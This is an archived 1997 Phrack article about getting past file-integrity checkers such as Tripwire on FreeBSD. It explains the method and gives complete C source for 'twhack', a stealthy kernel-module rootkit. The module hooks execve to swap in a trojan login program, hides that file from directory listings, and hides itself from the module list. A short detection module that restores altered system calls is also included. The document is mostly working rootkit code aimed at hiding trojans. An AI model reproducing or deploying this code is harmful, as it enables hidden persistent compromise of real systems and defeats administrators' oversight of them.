home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 51.sit / Phrack51 / P51-09 < prev    next >
Text File  |  1997-09-01  |  10KB  |  330 lines

  1. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 09 of 17
  2.  
  3.  
  4. -------------------------[  Bypassing Integrity Checking Systems
  5.  
  6.  
  7. --------[  halflife <halflife@infonexus.com>
  8.  
  9.  
  10. In this day and age where intrusions happen on a daily basis and there is a
  11. version of "rootkit" for every operating system imaginable, even mostly
  12. incompetent system administration staff have begun doing checksums on their
  13. binaries.  For the hacker community, this is a major problem since their very 
  14. clever trojan programs are quickly detected and removed.  Tripwire is a very 
  15. popular and free utility to do integrity checking on UNIX systems.  This 
  16. article explores a simple method for bypassing checks done by tripwire and 
  17. other integrity checking programs.
  18.  
  19. First off, how do integrity-checking programs work?  Well, when you first
  20. install them, they calculate a hash (sometimes multiple hashes) of all the
  21. binary files you wish to monitor.  Then, periodically, you run the checker
  22. and it compares the current hash with the previously recorded hash.  If the
  23. two differ, than something funny is going on, and it is noted.  Several 
  24. different algorithms exist for doing the hashes, the most popular probably 
  25. being the MD5 hash.
  26.  
  27. In the past, there have been problems with several hashes.  MD5 has had some
  28. collisions, as have many other secure hash algorithms. However, exploiting the 
  29. collisions is still very very difficult.  The code in this article does not 
  30. rely on the use of a specific algorithm, rather we focus on a problem of trust 
  31. -- integrity checking programs need to trust the operating system, and some 
  32. may even trust libc.  In code that is designed to detect compromises that 
  33. would by their very nature require root access, you can not trust anything, 
  34. including your own operating system.
  35.  
  36. The design of twhack had several requirements.  The first is that it need not
  37. require a kernel rebuild; loadable kernel modules (lkm) provided a solution
  38. to this.  The second is that it need be relatively stealthy.  I managed to find
  39. a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD
  40. and NetBSD although I have not verified this).  Once you load the module, the
  41. first ls type command will effectively hide the module from view.  Once hidden
  42. it can not be unloaded or seen with the modunload(8) command.
  43.  
  44. First, a little information on FreeBSD loadable modules.  I am using the MISC 
  45. style of modules, which is basically similar to linux modules.  It gives you 
  46. pretty much full access to everything.  LKM info is stored in an array of 
  47. structures.  In FreeBSD 2.2.1 the array has room for 20 modules.
  48.  
  49. Hiding the modules is really quite simple.  There is a used variable that 
  50. determines if the module slot is free or not.  When you insert a module, the 
  51. device driver looks for the first free module entry -- free being defined as 
  52. an entry with 0 in the used slot and places some info in the structure.  The 
  53. info is mainly used for unloading, and we are not interested in that, so it is 
  54. okay if other modules overwrite our structure (some might call that a feature, 
  55. even).
  56.  
  57. Next we have to redirect the system calls we are interested in.  This is
  58. somewhat similar to Linux modules as well.  System calls are stored in an 
  59. array of structures.  The structure contains a pointer to the system call and 
  60. a variable specifying the number of arguments.  Obviously, all we are 
  61. interested in is the pointer.  First we bcopy the structure to a variable, 
  62. then we modify the function pointer to point to our code.  In our code we can 
  63. do stuff like old_function.sy_call(arguments) to call the original system call 
  64. -- quick and painless.
  65.  
  66. Now that we know HOW to redirect system calls, which ones do we redirect in 
  67. order to bypass integrity checkers?  Well, there are a number of possibilities.
  68. You could redirect open(), stat(), and a bunch of others so that reads of your 
  69. modified program redirect to copies of the unmodified version.  I, however, 
  70. chose the opposite approach.  Execution attempts of login redirect to another 
  71. program, opens still go to the real login program.  Since we don't want our 
  72. alternative login program being detected, I also modified getdirentries so 
  73. that our program is never in the buffer it returns.  Similar things probably 
  74. should have been done with syscall 156 which is old getdirentries, but I don't 
  75. think it is defined and I don't know of anything using it, so it probably does 
  76. not really matter.
  77.  
  78. Despite the attempts at keeping hidden, there are a few ways to detect this 
  79. code.  One of the ways of detecting (and stopping) the code is provided.
  80. It is a simple stealthy module that logs when syscall addresses change, and
  81. reverses the changes.  This will stop the twhack module as provided, but is
  82. FAR from perfect.
  83.  
  84. What the checking code does is bcopy() the entire sysent array into a local
  85. copy.  Then it registers an at_fork() handler and in the handler it checks
  86. the current system call table against the one in memory, if they differ it
  87. logs the differences and changes the entry back.
  88.  
  89. <++> twhack/Makefile
  90. CC=gcc
  91. LD=ld
  92. RM=rm
  93. CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
  94. LDFLAGS=-r
  95. RST=-DRESTORE_SYSCALLS
  96.  
  97. all: twhack syscheck
  98.  
  99. twhack: 
  100.     $(CC) $(CFLAGS) -c twhack.c
  101.     $(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
  102.     @$(RM) twhack.o
  103.  
  104. syscheck:
  105.     $(CC) $(CFLAGS) -c syscheck.c
  106.     $(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
  107.     @$(RM) syscheck.o
  108. clean:
  109.     $(RM) -f *.o 
  110. <-->
  111. <++> twhack/twhack.c
  112. /*
  113. ** This code is a simple example of bypassing Integrity checking
  114. ** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
  115. ** believed to work (although not tested) in 3.0.
  116. **
  117. ** Halflife <halflife@infonexus.com>
  118. */
  119.  
  120. /* change these */
  121. #define ALT_LOGIN_PATH "/tmp/foobar"
  122. #define ALT_LOGIN_BASE "foobar"
  123.  
  124. /* includes */
  125. #include <sys/param.h>
  126. #include <sys/ioctl.h>
  127. #include <sys/proc.h>
  128. #include <sys/systm.h>
  129. #include <sys/sysproto.h>
  130. #include <sys/conf.h>
  131. #include <sys/mount.h>
  132. #include <sys/exec.h>
  133. #include <sys/sysent.h>
  134. #include <sys/lkm.h>
  135. #include <a.out.h>
  136. #include <sys/file.h>
  137. #include <sys/errno.h>
  138. #include <sys/syscall.h>
  139. #include <sys/dirent.h>
  140.  
  141. /* storage for original execve and getdirentries syscall entries */
  142. static struct sysent old_execve;
  143. static struct sysent old_getdirentries;
  144.  
  145. /* prototypes for new execve and getdirentries functions */
  146. int new_execve __P((struct proc *p, void *uap, int retval[]));
  147. int new_getdirentries __P((struct proc *p, void *uap, int retval[]));
  148.  
  149. /* flag used for the stealth stuff */
  150. static int hid=0;
  151.  
  152. /* table we need for the stealth stuff */
  153. static struct lkm_table *table;
  154.  
  155. /* misc lkm */
  156. MOD_MISC(twhack);
  157.  
  158. /*
  159. ** this code is called when we load or unload the module. unload is
  160. ** only possible if we initialize hid to 1
  161. */
  162. static int
  163. twhack_load(struct lkm_table *l, int cmd)
  164. {
  165.     int err = 0;
  166.     switch(cmd)
  167.     {
  168.         /*
  169.         ** save execve and getdirentries system call entries
  170.         ** and point function pointers to our code
  171.         */
  172.         case LKM_E_LOAD:
  173.             if(lkmexists(l))
  174.                 return(EEXIST); 
  175.             bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
  176.             sysent[SYS_execve].sy_call = new_execve;
  177.             bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
  178.             sysent[SYS_getdirentries].sy_call = new_getdirentries;
  179.             table = l;
  180.             break;
  181.         /* restore syscall entries to their original condition */
  182.         case LKM_E_UNLOAD:
  183.             bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
  184.             bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
  185.             break;
  186.         default:
  187.             err = EINVAL;
  188.             break;
  189.     }
  190.     return(err);
  191. }
  192.  
  193. /* entry point to the module */
  194. int
  195. twhack_mod(struct lkm_table *l, int cmd, int ver)
  196. {
  197.     DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
  198. }
  199.  
  200. /*
  201. ** execve is simple, if they attempt to execute /usr/bin/login
  202. ** we change fname to ALT_LOGIN_PATH and then call the old execve
  203. ** system call.
  204. */
  205. int
  206. new_execve(struct proc *p, void *uap, int  *retval)
  207. {
  208.     struct execve_args *u=uap;
  209.  
  210.     if(!strcmp(u->fname, "/usr/bin/login"))
  211.         strcpy(u->fname, ALT_LOGIN_PATH);
  212.     return old_execve.sy_call(p, uap, retval);
  213. }
  214.  
  215. /*
  216. ** in getdirentries() we call the original syscall first
  217. ** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
  218. ** and ALT_LOGIN_BASE should _always_ be modified and made
  219. ** very obscure, perhaps with upper ascii characters.
  220. */
  221. int
  222. new_getdirentries(struct proc *p, void *uap, int *retval)
  223. {
  224.     struct getdirentries_args *u=uap;
  225.     struct dirent *dep;
  226.     int nbytes;
  227.     int r,i;
  228.  
  229.     /* if hid is not set, set the used flag to 0 */
  230.     if(!hid)
  231.     {
  232.         table->used = 0;
  233.         hid++;
  234.     }
  235.     r = old_getdirentries.sy_call(p, uap, retval);
  236.     nbytes = *retval;
  237.     while(nbytes > 0)
  238.     {
  239.         dep = (struct dirent *)u->buf;
  240.         if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
  241.         {
  242.             i = nbytes - dep->d_reclen;
  243.             bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
  244.             *retval = i;
  245.             return r;
  246.         }
  247.         nbytes -= dep->d_reclen;
  248.         u->buf += dep->d_reclen;
  249.     }
  250.     return r;
  251. }
  252. <-->
  253. <++> twhack/syscheck.c
  254. #include <sys/param.h>
  255. #include <sys/ioctl.h>
  256. #include <sys/proc.h>
  257. #include <sys/systm.h>
  258. #include <sys/sysproto.h>
  259. #include <sys/conf.h>
  260. #include <sys/mount.h>
  261. #include <sys/exec.h>
  262. #include <sys/sysent.h>
  263. #include <sys/lkm.h>
  264. #include <a.out.h>
  265. #include <sys/file.h>
  266. #include <sys/errno.h>
  267. #include <sys/syscall.h>
  268. #include <sys/dirent.h>
  269.  
  270. static int hid=0;
  271. static struct sysent table[SYS_MAXSYSCALL];
  272. static struct lkm_table *boo;
  273. MOD_MISC(syscheck);
  274. void check_sysent(struct proc *, struct proc *, int);
  275.  
  276. static int
  277. syscheck_load(struct lkm_table *l, int cmd)
  278. {
  279.     int err = 0;
  280.     switch(cmd)
  281.     {
  282.         case LKM_E_LOAD:
  283.             if(lkmexists(l))
  284.                 return(EEXIST); 
  285.             bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
  286.             boo=l;
  287.             at_fork(check_sysent);
  288.             break;
  289.         case LKM_E_UNLOAD:
  290.             rm_at_fork(check_sysent);
  291.             break;
  292.         default:
  293.             err = EINVAL;
  294.             break;
  295.     }
  296.     return(err);
  297. }
  298.  
  299. int
  300. syscheck_mod(struct lkm_table *l, int cmd, int ver)
  301. {
  302.     DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
  303. }
  304.  
  305. void
  306. check_sysent(struct proc *parent, struct proc *child, int flags)
  307. {
  308.     int i;
  309.     if(!hid)
  310.     {
  311.         boo->used = 0;
  312.         hid++;
  313.     }
  314.     for(i=0;i < SYS_MAXSYSCALL;i++)
  315.     {
  316.         if(sysent[i].sy_call != table[i].sy_call)
  317.         {
  318.             printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call);
  319. #ifdef RESTORE_SYSCALLS
  320.             sysent[i].sy_call = table[i].sy_call;
  321. #endif
  322.         }
  323.     }
  324. }
  325. <-->
  326.  
  327.  
  328. ----[  EOF
  329.  
  330.